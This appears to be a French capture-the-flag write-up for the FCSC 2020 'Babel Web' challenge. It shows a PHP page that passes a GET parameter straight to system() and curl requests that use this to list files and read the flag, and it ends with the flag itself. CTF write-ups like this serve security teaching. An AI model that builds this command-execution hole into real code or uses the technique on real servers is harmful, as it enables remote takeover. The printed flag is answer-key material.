FCSC 2020 - Intro - Babel Web

Table des matières :

On vous demande d’auditer ce site en cours de construction à la recherche d’un flag.

URL : http://localhost:5001/


Résolution

Sur la page du challenge, nous voyons un commentaire HTML indiquant que la source est disponible sur /?source=1 :

<html>
    <head>
        <title>Bienvenue à Babel Web!</title>
    </head>
    <body>
        <h1>Bienvenue à Babel Web!</h1>
        La page est en cours de développement, merci de revenir plus tard.
        <!-- <a href="?source=1">source</a> -->
    </body>
</html>

Nous y accédons et nous avons le code source :

<?php
    if (isset($_GET['source'])) {
        @show_source(__FILE__);
    }  else if(isset($_GET['code'])) {
        print("<pre>");
        @system($_GET['code']);
        print("<pre>");
    } else {
?>
<html>
    <head>
        <title>Bienvenue à Babel Web!</title>
    </head>
    <body>
        <h1>Bienvenue à Babel Web!</h1>
        La page est en cours de développement, merci de revenir plus tard.
        <!-- <a href="?source=1">source</a> -->
    </body>
</html>
<?php
    }
?>

Dans ce code source, nous voyons quelquechose d’intéressant. En effet, le paramètre code (méthode GET) de la page index.php nous permet d’envoyer des commandes qui seront éxécutées dans un shell coté serveur. Essayons donc de lister les fichiers avec ls -lha :

curl "http://challenges2.france-cybersecurity-challenge.fr:5001/index.php?code=ls%20-lha"
...
<pre>total 16K
dr-xr-xr-x 1 www-data www-data 4.0K Apr 23 13:19 .
drwxr-xr-x 1 root     root     4.0K Apr 23 13:19 ..
-r-xr-xr-x 1 www-data www-data   89 Apr 23 13:19 flag.php
-r-xr-xr-x 1 www-data www-data  439 Apr 23 13:19 index.php
<pre>
...

L’exécution de code est bien fonctionnelle ! Nous n’avons plus qu’a lire le flag avec un simple cat :

curl "http://challenges2.france-cybersecurity-challenge.fr:5001/index.php?code=cat%20flag.php"
...
<pre><?php
	$flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre>
...

Le flag est FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}